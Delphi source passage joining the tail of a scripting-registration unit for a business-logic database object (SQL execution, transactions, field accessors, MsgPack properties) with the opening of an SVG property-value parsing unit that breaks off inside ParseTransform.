i := AConverts.New('function ExecSQL(const AConn: Byte = 1): Integer; overload;',
'\image{5} \column{} function \column{}\style{+B}ExecSQL\style{-B}(const AConn: Byte = 1): Integer; \color{' + ProposalCommColor + '}// 业务对应的数据库中执行操作语句',
'ExecSQL', 'BLLCompiler', 'TBLLObj', @TBLLObj_ExecSQL0, True);
RegisterFakeHeader(ATypeID, AConverts[i].FullName, AConverts[i].Address);
i := AConverts.New('function ExecSQL(const ASql: string; const AConn: Byte = 1): Integer; overload;',
'\image{5} \column{} function \column{}\style{+B}ExecSQL\style{-B}(const ASql: string; const AConn: Byte = 1): Integer; \color{' + ProposalCommColor + '}// 执行已有的SQL语句',
'ExecSQL', 'BLLCompiler', 'TBLLObj', @TBLLObj_ExecSQL1, True, 1);
RegisterFakeHeader(ATypeID, AConverts[i].FullName, AConverts[i].Address);
i := AConverts.New('procedure StartTransaction(const AConn: Byte = 1)',
'\image{4} \column{} procedure \column{}\style{+B}StartTransaction\style{-B}(const AConn: Byte = 1); \color{' + ProposalCommColor + '}// 业务对应的数据库连接开始一个事务',
'StartTransaction', 'BLLCompiler', 'TBLLObj', @TBLLObj.StartTransaction);
RegisterHeader(ATypeID, AConverts[i].FullName, AConverts[i].Address);
i := AConverts.New('procedure Commit(const AConn: Byte = 1);',
'\image{4} \column{} procedure \column{}\style{+B}Commit\style{-B}(const AConn: Byte = 1); \color{' + ProposalCommColor + '}// 业务对应的数据库连接提交事务操作',
'Commit', 'BLLCompiler', 'TBLLObj', @TBLLObj.Commit);
RegisterHeader(ATypeID, AConverts[i].FullName, AConverts[i].Address);
i := AConverts.New('procedure Rollback(const AConn: Byte = 1);',
'\image{4} \column{} procedure \column{}\style{+B}Rollback\style{-B}(const AConn: Byte = 1); \color{' + ProposalCommColor + '}// 业务对应的数据库连接回滚事务',
'Rollback', 'BLLCompiler', 'TBLLObj', @TBLLObj.Rollback);
RegisterHeader(ATypeID, AConverts[i].FullName, AConverts[i].Address);
i := AConverts.New('procedure SetSQL(const ASql: string);',
'\image{4} \column{} procedure \column{}\style{+B}SetSQL\style{-B}(const ASql: string); \color{' + ProposalCommColor + '}// 设置业务对应的SQL语句',
'SetSQL', 'BLLCompiler', 'TBLLObj', @TBLLObj.SetSQL);
RegisterHeader(ATypeID, AConverts[i].FullName, AConverts[i].Address);
i := AConverts.New('function GetRecordCount(const AConn: Byte = 1): Integer;',
'\image{5} \column{} function \column{}\style{+B}GetRecordCount\style{-B}(const AConn: Byte = 1): Integer; \color{' + ProposalCommColor + '}// 设置业务对应的SQL语句',
'GetRecordCount', 'BLLCompiler', 'TBLLObj', @TBLLObj.GetRecordCount);
RegisterHeader(ATypeID, AConverts[i].FullName, AConverts[i].Address);
i := AConverts.New('function GetParamCount(const AConn: Byte = 1): Integer;',
'\image{5} \column{} function \column{}\style{+B}GetParamCount\style{-B}(const AConn: Byte = 1): Integer; \color{' + ProposalCommColor + '}// 设置业务对应的SQL语句',
'GetParamCount', 'BLLCompiler', 'TBLLObj', @TBLLObj.GetParamCount);
RegisterHeader(ATypeID, AConverts[i].FullName, AConverts[i].Address);
i := AConverts.New('function GetParamName(const AIndex: Integer; const AConn: Byte = 1): string;',
'\image{5} \column{} function \column{}\style{+B}GetParamName\style{-B}(const AIndex: Integer; const AConn: Byte = 1): string; \color{' + ProposalCommColor + '}// 设置业务对应的SQL语句',
'GetParamName', 'BLLCompiler', 'TBLLObj', @TBLLObj.GetParamName);
RegisterHeader(ATypeID, AConverts[i].FullName, AConverts[i].Address);
i := AConverts.New('procedure SetParamValue(const AParam: string; const AValue: Variant; const AConn: Byte = 1);',
'\image{4} \column{} procedure \column{}\style{+B}SetParamValue\style{-B}(const AParam: string; const AValue: Variant; const AConn: Byte = 1); \color{' + ProposalCommColor + '}// 设置参数的值',
'SetParamValue', 'BLLCompiler', 'TBLLObj', @TBLLObj.SetParamValue);
RegisterHeader(ATypeID, AConverts[i].FullName, AConverts[i].Address);
i := AConverts.New('procedure ParamLoadFromStream(const AParam: string; const AStream: TStream; const AConn: Byte = 1);',
'\image{4} \column{} procedure \column{}\style{+B}ParamLoadFromStream\style{-B}(const AParam: string; const AStream: TStream; const AConn: Byte = 1); \color{' + ProposalCommColor + '}// 从流加载业务数据集指定字段的值',
'ParamLoadFromStream', 'BLLCompiler', 'TBLLObj', @TBLLObj.ParamLoadFromStream);
RegisterHeader(ATypeID, AConverts[i].FullName, AConverts[i].Address);
i := AConverts.New('function FieldAsString(const AField: string; const AConn: Byte = 1): string;',
'\image{5} \column{} function \column{}\style{+B}FieldAsString\style{-B}(const AField: string; const AConn: Byte = 1): string; \color{' + ProposalCommColor + '}// 字段值转为string',
'FieldAsString', 'BLLCompiler', 'TBLLObj', @TBLLObj.FieldAsString);
RegisterHeader(ATypeID, AConverts[i].FullName, AConverts[i].Address);
i := AConverts.New('function FieldAsInteger(const AField: string; const AConn: Byte = 1): Longint;',
'\image{5} \column{} function \column{}\style{+B}FieldAsInteger\style{-B}(const AField: string; const AConn: Byte = 1): Longint; \color{' + ProposalCommColor + '}// 字段值转为Longint',
'FieldAsInteger', 'BLLCompiler', 'TBLLObj', @TBLLObj.FieldAsInteger);
RegisterHeader(ATypeID, AConverts[i].FullName, AConverts[i].Address);
i := AConverts.New('function FieldAsBoolean(const AField: string; const AConn: Byte = 1): Boolean;',
'\image{5} \column{} function \column{}\style{+B}FieldAsBoolean\style{-B}(const AField: string; const AConn: Byte = 1): Boolean; \color{' + ProposalCommColor + '}// 字段值转为Boolean',
'FieldAsBoolean', 'BLLCompiler', 'TBLLObj', @TBLLObj.FieldAsBoolean);
RegisterHeader(ATypeID, AConverts[i].FullName, AConverts[i].Address);
i := AConverts.New('function FieldAsDateTime(const AField: string; const AConn: Byte = 1): TDateTime;',
'\image{5} \column{} function \column{}\style{+B}FieldAsDateTime\style{-B}(const AField: TDateTime; const AConn: Byte = 1): TDateTime; \color{' + ProposalCommColor + '}// 字段值转为TDateTime',
'FieldAsDateTime', 'BLLCompiler', 'TBLLObj', @TBLLObj.FieldAsDateTime);
RegisterHeader(ATypeID, AConverts[i].FullName, AConverts[i].Address);
i := AConverts.New('function FieldAsSingle(const AField: string; const AConn: Byte = 1): Single;',
'\image{5} \column{} function \column{}\style{+B}FieldAsSingle\style{-B}(const AField: string; const AConn: Byte = 1): Single; \color{' + ProposalCommColor + '}// 字段值转为Single',
'FieldAsSingle', 'BLLCompiler', 'TBLLObj', @TBLLObj.FieldAsSingle);
RegisterHeader(ATypeID, AConverts[i].FullName, AConverts[i].Address);
i := AConverts.New('function FieldAsFloat(const AField: string; const AConn: Byte = 1): Double;',
'\image{5} \column{} function \column{}\style{+B}FieldAsFloat\style{-B}(const AField: string; const AConn: Byte = 1): Double; \color{' + ProposalCommColor + '}// 字段值转为Double',
'FieldAsFloat', 'BLLCompiler', 'TBLLObj', @TBLLObj.FieldAsFloat);
RegisterHeader(ATypeID, AConverts[i].FullName, AConverts[i].Address);
i := AConverts.New('function FieldAsVariant(const AField: string; const AConn: Byte = 1): Variant;',
'\image{5} \column{} function \column{}\style{+B}FieldAsVariant\style{-B}(const AField: string; const AConn: Byte = 1): Variant; \color{' + ProposalCommColor + '}// 字段值转为Variant',
'FieldAsVariant', 'BLLCompiler', 'TBLLObj', @TBLLObj.FieldAsVariant);
RegisterHeader(ATypeID, AConverts[i].FullName, AConverts[i].Address);
i := AConverts.New('procedure FieldAsStream(const AField: string; const AStream: TStream; const AConn: Byte = 1);',
'\image{4} \column{} procedure \column{}\style{+B}FieldAsStream\style{-B}(const AField: string; const AStream: TStream; const AConn: Byte = 1); \color{' + ProposalCommColor + '}// 字段值转为流',
'FieldAsStream', 'BLLCompiler', 'TBLLObj', @TBLLObj.FieldAsStream);
RegisterHeader(ATypeID, AConverts[i].FullName, AConverts[i].Address);
i := AConverts.New('procedure SaveToStream(const AStream: TStream; const AConn: Byte = 1);',
'\image{4} \column{} procedure \column{}\style{+B}SaveToStream\style{-B}(const AStream: TStream; const AConn: Byte = 1); \color{' + ProposalCommColor + '}// 数据集保存为流',
'SaveToStream', 'BLLCompiler', 'TBLLObj', @TBLLObj.SaveToStream);
RegisterHeader(ATypeID, AConverts[i].FullName, AConverts[i].Address);
i := AConverts.New('procedure DebugInfoAppend(const AInfo: string);',
'\image{4} \column{} procedure \column{}\style{+B}DebugInfoAppend\style{-B}(const AInfo: string); \color{' + ProposalCommColor + '}// 添加调试信息',
'DebugInfoAppend', 'BLLCompiler', 'TBLLObj', @TBLLObj.DebugInfoAppend);
RegisterHeader(ATypeID, AConverts[i].FullName, AConverts[i].Address);
i := AConverts.New('function CreateBllObj: TBLLObj',
'\image{5} \column{} function \column{}\style{+B}CreateBllObj\style{-B}; \color{' + ProposalCommColor + '}// 创建新的TBLLObj实例',
'CreateBllObj', 'BLLCompiler', 'TBLLObj', @TBLLObj.CreateBllObj);
RegisterHeader(ATypeID, AConverts[i].FullName, AConverts[i].Address);
i := AConverts.New('procedure FreeBLLObj(var ABLLObj: TBLLObj);',
'\image{4} \column{} procedure \column{}\style{+B}FreeBLLObj\style{-B}(var ABLLObj: TBLLObj); \color{' + ProposalCommColor + '}// 释放新的BLLObj实例',
'FreeBLLObj', 'BLLCompiler', 'TBLLObj', @TBLLObj.FreeBLLObj);
RegisterHeader(ATypeID, AConverts[i].FullName, AConverts[i].Address);
i := AConverts.New('function Eof: Boolean;',
'\image{5} \column{} function \column{}\style{+B}Eof\style{-B} \color{' + ProposalCommColor + '}// 是否指向最后一条数据了',
'Eof', 'BLLCompiler', 'TBLLObj', @TBLLObj.Eof);
RegisterHeader(ATypeID, AConverts[i].FullName, AConverts[i].Address);
i := AConverts.New('procedure First;',
'\image{4} \column{} procedure \column{}\style{+B}First\style{-B}; \color{' + ProposalCommColor + '}// 指向第一条数据',
'First', 'BLLCompiler', 'TBLLObj', @TBLLObj.First);
RegisterHeader(ATypeID, AConverts[i].FullName, AConverts[i].Address);
i := AConverts.New('procedure Next;',
'\image{4} \column{} procedure \column{}\style{+B}Next\style{-B}; \color{' + ProposalCommColor + '}// 指向下一条数据',
'Next', 'BLLCompiler', 'TBLLObj', @TBLLObj.Next);
RegisterHeader(ATypeID, AConverts[i].FullName, AConverts[i].Address);
i := AConverts.New('procedure Last;',
'\image{4} \column{} procedure \column{}\style{+B}Last\style{-B}; \color{' + ProposalCommColor + '}// 指向最后一条数据',
'Last', 'BLLCompiler', 'TBLLObj', @TBLLObj.Last);
RegisterHeader(ATypeID, AConverts[i].FullName, AConverts[i].Address);
end;
procedure TBLLObj.Commit(const AConn: Byte = 1);
begin
BLLQuery.Connection.Commit; // 提交操作
end;
function TBLLObj.ExecSQL(const ASql: string; const AConn: Byte = 1): Integer;
begin
Result := 0;
if AConn = 1 then
begin
BLLQuery.Close;
BLLQuery.SQL.Text := ASql;
BLLQuery.ExecSQL;
Result := BLLQuery.RowsAffected;
end;
end;
procedure TBLLObj.Rollback(const AConn: Byte = 1);
begin
BLLQuery.Connection.Rollback;
end;
procedure TBLLObj.SaveToStream(const AStream: TStream; const AConn: Byte);
begin
BLLQuery.SaveToStream(AStream, TFDStorageFormat.sfBinary);
end;
function TBLLObj.SelectSQL(const ASql: string; const AConn: Byte = 1): Integer;
begin
Result := 0;
if AConn = 1 then
begin
BLLQuery.Close;
BLLQuery.SQL.Text := ASql;
BLLQuery.Open;
Result := BLLQuery.RecordCount;
end;
end;
procedure TBLLObj.SetParamValue(const AParam: string; const AValue: Variant; const AConn: Byte = 1);
begin
BLLQuery.ParamByName(AParam).Value := AValue;
end;
procedure TBLLObj.SetSQL(const ASql: string; const AConn: Byte = 1);
begin
BLLQuery.SQL.Text := ASql;
end;
procedure TBLLObj.StartTransaction(const AConn: Byte = 1);
begin
BLLQuery.Connection.StartTransaction; // 开始一个事务
end;
{ TBLLMsgPack }
class procedure TBLLMsgPack.Appends(const AConverts: TCplConverts; var ATypeID: Integer);
var
vH, i: Integer;
begin
vH := RegisterNamespace(0, 'emr_MsgPack'); // emr_MsgPack
ATypeID := RegisterClassType(vH, TMsgPack); // TMsgPack
//RegisterRTTIType(vH, TypeInfo(TMsgPackType));
RegisterConstant(vH, 'BLL_CMD', BLL_CMD);
RegisterConstant(vH, 'BLL_VER', BLL_VER);
RegisterConstant(vH, 'BLL_METHODRESULT', BLL_METHODRESULT);
RegisterConstant(vH, 'BLL_EXECPARAM', BLL_EXECPARAM);
RegisterConstant(vH, 'BLL_BACKDATASET', BLL_BACKDATASET);
RegisterConstant(vH, 'BLL_BACKFIELD', BLL_BACKFIELD);
RegisterConstant(vH, 'BLL_RECORDCOUNT', BLL_RECORDCOUNT);
RegisterConstant(vH, 'BLL_DATASET', BLL_DATASET);
i := AConverts.New('function Path(APath: string): TMsgPack;',
'\image{5} \column{} function \column{}\style{+B}Path\style{-B}(APath: string): TMsgPack; \color{' + ProposalCommColor + '} // 获取指定节点',
'Path', 'emr_MsgPack', 'TMsgPack', @TMsgPack.Path);
RegisterHeader(ATypeID, AConverts[i].FullName, AConverts[i].Address);
i := AConverts.New('procedure LoadBinaryFromStream(AStream: TStream; ALen: Cardinal = 0);',
'\image{4} \column{} procedure \column{}\style{+B}LoadBinaryFromStream\style{-B}(AStream: TStream; ALen: Cardinal = 0); \color{' + ProposalCommColor + '} // 从流加载',
'LoadBinaryFromStream', 'emr_MsgPack', 'TMsgPack', @TMsgPack.LoadBinaryFromStream);
RegisterHeader(ATypeID, AConverts[i].FullName, AConverts[i].Address);
i := AConverts.New('procedure SaveBinaryToStream(AStream: TStream);',
'\image{4} \column{} procedure \column{}\style{+B}SaveBinaryToStream\style{-B}(AStream: TStream); \color{' + ProposalCommColor + '} // 保存为流',
'SaveBinaryToStream', 'emr_MsgPack', 'TMsgPack', @TMsgPack.SaveBinaryToStream);
RegisterHeader(ATypeID, AConverts[i].FullName, AConverts[i].Address);
// AsInteger
i := AConverts.New('function TMsgPack_GetAsInteger: Integer;',
'\image{5} \column{} function \column{}\style{+B}TMsgPack_GetAsInteger\style{-B}: Integer; \color{' + ProposalCommColor + '} // ',
'TMsgPack_GetAsInteger', 'emr_MsgPack', 'TMsgPack', @TMsgPack_GetAsInteger, True);
RegisterFakeHeader(ATypeID, AConverts[i].FullName, AConverts[i].Address);
i := AConverts.New('procedure TMsgPack_SetAsInteger(const Value: Integer);',
'\image{4} \column{} procedure \column{}\style{+B}TMsgPack_SetAsInteger\style{-B}(const Value: Integer); \color{' + ProposalCommColor + '} // ',
'TMsgPack_SetAsInteger', 'emr_MsgPack', 'TMsgPack', @TMsgPack_SetAsInteger, True);
RegisterFakeHeader(ATypeID, AConverts[i].FullName, AConverts[i].Address);
i := AConverts.New('property AsInteger: Int64 read TMsgPack_GetAsInteger write TMsgPack_SetAsInteger;',
'\image{3} \column{} property \column{}\style{+B}AsInteger\style{-B}: Int64; \color{' + ProposalCommColor + '} // 节点数据转为Integer',
'AsInteger', 'emr_MsgPack', 'TMsgPack', nil);
RegisterProperty(ATypeID, AConverts[i].FullName);
// AsString
i := AConverts.New('function TMsgPack_GetAsString: string;',
'\image{5} \column{} function \column{}\style{+B}TMsgPack_GetAsString\style{-B}: string; \color{' + ProposalCommColor + '} // ',
'TMsgPack_GetAsString', 'emr_MsgPack', 'TMsgPack', @TMsgPack_GetAsString, True);
RegisterFakeHeader(ATypeID, AConverts[i].FullName, AConverts[i].Address);
i := AConverts.New('procedure TMsgPack_SetAsString(const Value: string);',
'\image{4} \column{} procedure \column{}\style{+B}TMsgPack_SetAsString\style{-B}(const Value: string); \color{' + ProposalCommColor + '} // ',
'TMsgPack_SetAsString', 'emr_MsgPack', 'TMsgPack', @TMsgPack_SetAsString, True);
RegisterFakeHeader(ATypeID, AConverts[i].FullName, AConverts[i].Address);
i := AConverts.New('property AsString: string read TMsgPack_GetAsString write TMsgPack_SetAsString;',
'\image{3} \column{} property \column{}\style{+B}AsString\style{-B}: string; \color{' + ProposalCommColor + '} // 节点数据转为string',
'AsString', 'emr_MsgPack', 'TMsgPack', nil);
RegisterProperty(ATypeID, AConverts[i].FullName);
// AsBoolean
i := AConverts.New('function TMsgPack_GetAsBoolean: Boolean;',
'\image{5} \column{} function \column{}\style{+B}TMsgPack_GetAsBoolean\style{-B}: Boolean; \color{' + ProposalCommColor + '} // ',
'TMsgPack_GetAsBoolean', 'emr_MsgPack', 'TMsgPack', @TMsgPack_GetAsBoolean, True);
RegisterFakeHeader(ATypeID, AConverts[i].FullName, AConverts[i].Address);
i := AConverts.New('procedure TMsgPack_SetAsBoolean(const Value: Boolean);',
'\image{4} \column{} procedure \column{}\style{+B}TMsgPack_SetAsBoolean\style{-B}(const Value: Boolean); \color{' + ProposalCommColor + '} // ',
'TMsgPack_SetAsBoolean', 'emr_MsgPack', 'TMsgPack', @TMsgPack_SetAsBoolean, True);
RegisterFakeHeader(ATypeID, AConverts[i].FullName, AConverts[i].Address);
i := AConverts.New('property AsBoolean: Boolean read TMsgPack_GetAsBoolean write TMsgPack_SetAsBoolean;',
'\image{3} \column{} property \column{}\style{+B}AsBoolean\style{-B}: Boolean; \color{' + ProposalCommColor + '} // 节点数据转为Boolean',
'AsBoolean', 'emr_MsgPack', 'TMsgPack', nil);
RegisterProperty(ATypeID, AConverts[i].FullName);
// AsDouble
i := AConverts.New('function TMsgPack_GetAsDouble: Double;',
'\image{5} \column{} function \column{}\style{+B}TMsgPack_GetAsDouble\style{-B}: Double; \color{' + ProposalCommColor + '} // ',
'TMsgPack_GetAsDouble', 'emr_MsgPack', 'TMsgPack', @TMsgPack_GetAsDouble, True);
RegisterFakeHeader(ATypeID, AConverts[i].FullName, AConverts[i].Address);
i := AConverts.New('procedure TMsgPack_SetAsDouble(const Value: Double);',
'\image{4} \column{} procedure \column{}\style{+B}TMsgPack_SetAsDouble\style{-B}(const Value: Double); \color{' + ProposalCommColor + '} // ',
'TMsgPack_SetAsDouble', 'emr_MsgPack', 'TMsgPack', @TMsgPack_SetAsDouble, True);
RegisterFakeHeader(ATypeID, AConverts[i].FullName, AConverts[i].Address);
i := AConverts.New('property AsDouble: Double read TMsgPack_GetAsDouble write TMsgPack_SetAsDouble;',
'\image{3} \column{} property \column{}\style{+B}AsDouble\style{-B}: Double; \color{' + ProposalCommColor + '} // 节点数据转为Double',
'AsDouble', 'emr_MsgPack', 'TMsgPack', nil);
RegisterProperty(ATypeID, AConverts[i].FullName);
// AsSingle
i := AConverts.New('function TMsgPack_GetAsSingle: Single;',
'\image{5} \column{} function \column{}\style{+B}TMsgPack_GetAsSingle\style{-B}: Single; \color{' + ProposalCommColor + '} // ',
'TMsgPack_GetAsSingle', 'emr_MsgPack', 'TMsgPack', @TMsgPack_GetAsSingle, True);
RegisterFakeHeader(ATypeID, AConverts[i].FullName, AConverts[i].Address);
i := AConverts.New('procedure TMsgPack_SetAsSingle(const Value: Single);',
'\image{4} \column{} procedure \column{}\style{+B}TMsgPack_SetAsSingle\style{-B}(const Value: Single); \color{' + ProposalCommColor + '} // ',
'TMsgPack_SetAsSingle', 'emr_MsgPack', 'TMsgPack', @TMsgPack_SetAsSingle, True);
RegisterFakeHeader(ATypeID, AConverts[i].FullName, AConverts[i].Address);
i := AConverts.New('property AsSingle: Single read TMsgPack_GetAsSingle write TMsgPack_SetAsSingle;',
'\image{3} \column{} property \column{}\style{+B}AsSingle\style{-B}: Single; \color{' + ProposalCommColor + '} // 节点数据转为Single',
'AsSingle', 'emr_MsgPack', 'TMsgPack', nil);
RegisterProperty(ATypeID, AConverts[i].FullName);
// AsDateTime
i := AConverts.New('function TMsgPack_GetAsDateTime: TDateTime;',
'\image{5} \column{} function \column{}\style{+B}TMsgPack_GetAsDateTime\style{-B}: TDateTime; \color{' + ProposalCommColor + '} // ',
'TMsgPack_GetAsDateTime', 'emr_MsgPack', 'TMsgPack', @TMsgPack_GetAsDateTime, True);
RegisterFakeHeader(ATypeID, AConverts[i].FullName, AConverts[i].Address);
i := AConverts.New('procedure TMsgPack_SetAsDateTime(const Value: TDateTime);',
'\image{4} \column{} procedure \column{}\style{+B}TMsgPack_SetAsDateTime\style{-B}(const Value: TDateTime); \color{' + ProposalCommColor + '} // ',
'TMsgPack_SetAsDateTime', 'emr_MsgPack', 'TMsgPack', @TMsgPack_SetAsDateTime, True);
RegisterFakeHeader(ATypeID, AConverts[i].FullName, AConverts[i].Address);
i := AConverts.New('property AsDateTime: TDateTime read TMsgPack_GetAsDateTime write TMsgPack_SetAsDateTime;',
'\image{3} \column{} property \column{}\style{+B}AsDateTime\style{-B}: TDateTime; \color{' + ProposalCommColor + '} // 节点数据转为TDateTime',
'AsDateTime', 'emr_MsgPack', 'TMsgPack', nil);
RegisterProperty(ATypeID, AConverts[i].FullName);
// AsVariant
i := AConverts.New('function TMsgPack_GetAsVariant: Variant;',
'\image{5} \column{} function \column{}\style{+B}TMsgPack_GetAsVariant\style{-B}: Variant; \color{' + ProposalCommColor + '} // ',
'TMsgPack_GetAsVariant', 'emr_MsgPack', 'TMsgPack', @TMsgPack_GetAsVariant, True);
RegisterFakeHeader(ATypeID, AConverts[i].FullName, AConverts[i].Address);
i := AConverts.New('procedure TMsgPack_SetAsVariant(const Value: Variant);',
'\image{4} \column{} procedure \column{}\style{+B}TMsgPack_SetAsVariant\style{-B}(const Value: Variant); \color{' + ProposalCommColor + '} // ',
'TMsgPack_SetAsVariant', 'emr_MsgPack', 'TMsgPack', @TMsgPack_SetAsVariant, True);
RegisterFakeHeader(ATypeID, AConverts[i].FullName, AConverts[i].Address);
i := AConverts.New('property AsVariant: Variant read TMsgPack_GetAsVariant write TMsgPack_SetAsVariant;',
'\image{3} \column{} property \column{}\style{+B}AsVariant\style{-B}: Variant; \color{' + ProposalCommColor + '} // 节点数据转为Variant',
'AsVariant', 'emr_MsgPack', 'TMsgPack', nil);
RegisterProperty(ATypeID, AConverts[i].FullName);
end;
end.
|
{******************************************************************}
{ Parse of SVG property values }
{ }
{ home page : http://www.mwcs.de }
{ email : martin.walter@mwcs.de }
{ }
{ date : 05-04-2008 }
{ }
{ Use of this file is permitted for commercial and non-commercial }
{ use, as long as the author is credited. }
{ This file (c) 2005, 2008 Martin Walter }
{ }
{ Thanks to: }
{ Kiriakos Vlahos (fixed GetFactor) }
{ Kiriakos Vlahos (Added parse length in percent) }
{ Kiriakos Vlahos (Refactoring parsing) }
{ Kiriakos Vlahos (Refactoring parsing Font) }
{ }
{ This Software is distributed on an "AS IS" basis, WITHOUT }
{ WARRANTY OF ANY KIND, either express or implied. }
{ }
{ *****************************************************************}
unit SVGParse;
interface
uses
System.Types,
System.Classes,
System.Generics.Collections,
SVGTypes;
function ParseAngle(const Angle: string): TFloat;
function ParseByte(const S: string): Byte;
function ParsePercent(const S: string): TFloat;
function ParseInteger(const S: string): Integer;
function ParseLength(const S: string): TFloat; overload;
function ParseLength(const S: string; var IsPercent: Boolean): TFloat; overload;
function ParseUnit(const S: string): TSVGUnit;
function GetFactor(const SVGUnit: TSVGUnit): TFloat;
function ParseDRect(const S: string): TRectF;
function ParseURI(const URI: string; EmptyOnFail: Boolean = True): string;
function ParseTransform(const ATransform: string): TAffineMatrix;
function ParseDisplay(const ADisplay: string): TTriStateBoolean;
function ParseVisibility(const AVisibility: string): TTriStateBoolean;
function ParseClass(const AClass: string): TArray<string>;
function ParseGradientUnits(const AGradientUnit: string): TGradientUnits;
function ParseFontWeight(const S: string): Integer;
procedure ParseTextDecoration(const S: string; var TD: TTextDecoration);
function ParseFontStyle(AFontStyle: string): Integer;
implementation
{$IF CompilerVersion > 23.0}
{$LEGACYIFEND ON}
{$IFEND}
uses
Winapi.Windows,
System.SysUtils,
System.Math,
System.StrUtils,
SVGCommon;
function ParseAngle(const Angle: string): TFloat;
var
D: TFloat;
C: Integer;
S: string;
begin
if Angle <> '' then
begin
S := Angle;
C := Pos('deg', S);
if C <> 0 then
begin
S := LeftStr(S, C - 1);
if TryStrToTFloat(S, D) then
Result := DegToRad(D)
else
Result := 0;
Exit;
end;
C := Pos('rad', S);
if C <> 0 then
begin
TryStrToTFloat(S, Result);
Exit;
end;
C := Pos('grad', S);
if C <> 0 then
begin
S := LeftStr(S, C - 1);
if TryStrToTFloat(S, D) then
Result := GradToRad(D)
else
Result := 0;
Exit;
end;
if TryStrToTFloat(S, D) then
Result := DegToRad(D)
else
Result := 0;
end else
Result := 0;
end;
function ParseByte(const S: string): Byte;
begin
Result := ParseInteger(S);
end;
function ParsePercent(const S: string): TFloat;
begin
Result := -1;
if S = '' then
Exit;
if S[Length(S)] = '%' then
Result := StrToTFloat(LeftStr(S, Length(S) - 1)) / 100
else
Result := StrToTFloat(S);
end;
function ParseInteger(const S: string): Integer;
begin
Result := StrToInt(S);
end;
function ParseLength(const S: string): TFloat;
Var
IsPercent: Boolean;
begin
Result := ParseLength(S, IsPercent);
end;
function ParseLength(const S: string; var IsPercent: Boolean): TFloat; overload;
var
SVGUnit: TSVGUnit;
Factor: TFloat;
begin
SVGUnit := ParseUnit(S);
IsPercent := SVGUnit = suPercent;
Factor := GetFactor(SVGUnit);
case SVGUnit of
suNone: Result := StrToTFloat(S);
suPercent: Result := StrToTFloat(Copy(S, 1, Length(S) - 1)) * Factor;
else
Result := StrToTFloat(Copy(S, 1, Length(S) - 2)) * Factor;
end;
end;
function ParseUnit(const S: string): TSVGUnit;
Var
LastTwo: string;
begin
Result := suNone;
LastTwo := Copy(S, Length(S) - 1, 2);
if LastTwo = 'px' then Result := suPx
else if LastTwo = 'pt' then Result := suPt
else if LastTwo = 'pc' then Result := suPC
else if LastTwo = 'mm' then Result := suMM
else if LastTwo = 'cm' then Result := suCM
else if LastTwo = 'in' then Result := suIN
else if LastTwo = 'em' then Result := suEM
else if LastTwo = 'ex' then Result := suEX
else if Copy(S, Length(S), 1) = '%' then Result := suPercent;
end;
function GetFactor(const SVGUnit: TSVGUnit): TFloat;
begin
case SVGUnit of
suPX: Result := 1;
suPT: Result := 1.3333; // 96 / 72
suPC: Result := 16; // 1pc = 12 pt
suMM: Result := 3.77952756; // 96 / 25.4
suCM: Result := 37.7952756; // 10 mm
suIN: Result := 96; // 96 px per inch
suEM: Result := 16; // 1 -> font size 12pt = 16 px
suEX: Result := 16; // 1 -> font height
suPercent: Result := 1/100;
else
Result := 1;
end;
end;
function GetValues(const S: string; const Delimiter: Char): TStrings;
var
C: Integer;
begin
Result := TStringList.Create;
Result.Delimiter := Delimiter;
Result.DelimitedText := S;
for C := Result.Count - 1 downto 0 do
begin
if Result[C] = '' then
begin
Result.Delete(C);
end;
end;
end;
function ParseDRect(const S: string): TRectF;
var
SL: TStrings;
begin
FillChar(Result, SizeOf(Result), 0);
SL := GetValues(Trim(S), ' ');
try
if SL.Count = 4 then
begin
Result.Left := ParseLength(SL[0]);
Result.Top := ParseLength(SL[1]);
Result.Width := ParseLength(SL[2]);
Result.Height := ParseLength(SL[3]);
end;
finally
SL.Free;
end;
end;
function ParseURI(const URI: string; EmptyOnFail: Boolean): string;
var
S: string;
begin
if EmptyOnFail then
Result := ''
else
Result := URI;
if URI <> '' then
begin
S := Trim(URI);
if (Copy(S, 1, 5) = 'url(#') and (S[Length(S)] = ')') then
Result := Copy(S, 6, Length(S) - 6);
end;
end;
function GetMatrix(const S: string): TAffineMatrix;
var
SL: TStrings;
begin
Result := AffineMatrixIdentity;
SL := GetValues(S, ',');
try
if SL.Count = 6 then
begin
Result.m11 := StrToTFloat(SL[0]);
Result.m12 := StrToTFloat(SL[1]);
Result.m21 := StrToTFloat(SL[2]);
Result.m22 := StrToTFloat(SL[3]);
Result.dx := StrToTFloat(SL[4]);
Result.dy := StrToTFloat(SL[5]);
end;
finally
SL.Free;
end;
end;
function GetTranslate(const S: string): TAffineMatrix;
var
SL: TStrings;
begin
FillChar(Result, SizeOf(Result), 0);
SL := GetValues(S, ',');
try
if SL.Count = 1 then
SL.Add('0');
if SL.Count = 2 then
begin
Result := TAffineMatrix.CreateTranslation(StrToTFloat(SL[0]), StrToTFloat(SL[1]));
end;
finally
SL.Free;
end;
end;
function GetScale(const S: string): TAffineMatrix;
var
SL: TStrings;
begin
FillChar(Result, SizeOf(Result), 0);
SL := GetValues(S, ',');
try
if SL.Count = 1 then
SL.Add(SL[0]);
if SL.Count = 2 then
begin
Result := TAffineMatrix.CreateScaling(StrToTFloat(SL[0]), StrToTFloat(SL[1]));
end;
finally
SL.Free;
end;
end;
function GetRotation(const S: string): TAffineMatrix;
var
SL: TStrings;
X, Y, Angle: TFloat;
begin
X := 0;
Y := 0;
Angle := 0;
SL := GetValues(S, ',');
try
if SL.Count > 0 then
begin
Angle := ParseAngle(SL[0]);
if SL.Count = 3 then
begin
X := StrToTFloat(SL[1]);
Y := StrToTFloat(SL[2]);
end else
begin
X := 0;
Y := 0;
end;
end;
finally
SL.Free;
end;
Result := TAffineMatrix.CreateTranslation(X, Y);
Result := TAffineMatrix.CreateRotation(Angle) * Result;
Result := TAffineMatrix.CreateTranslation(-X, -Y) * Result;
end;
function GetSkewX(const S: string): TAffineMatrix;
var
SL: TStrings;
begin
FillChar(Result, SizeOf(Result), 0);
SL := GetValues(S, ',');
try
if SL.Count = 1 then
begin
Result := AffineMatrixIdentity;
Result.m21 := Tan(StrToTFloat(SL[0]));
end;
finally
SL.Free;
end;
end;
function GetSkewY(const S: string): TAffineMatrix;
var
SL: TStrings;
begin
FillChar(Result, SizeOf(Result), 0);
SL := GetValues(S, ',');
try
if SL.Count = 1 then
begin
Result := AffineMatrixIdentity;
Result.m12 := Tan(StrToTFloat(SL[0]));
end;
finally
SL.Free;
end;
end;
function ParseTransform(const ATransform: string): TAffineMatrix;
var
Start: Integer;
Stop: Integer;
TType: string;
Values: string;
S: string;
M: TAffineMatrix;
begin
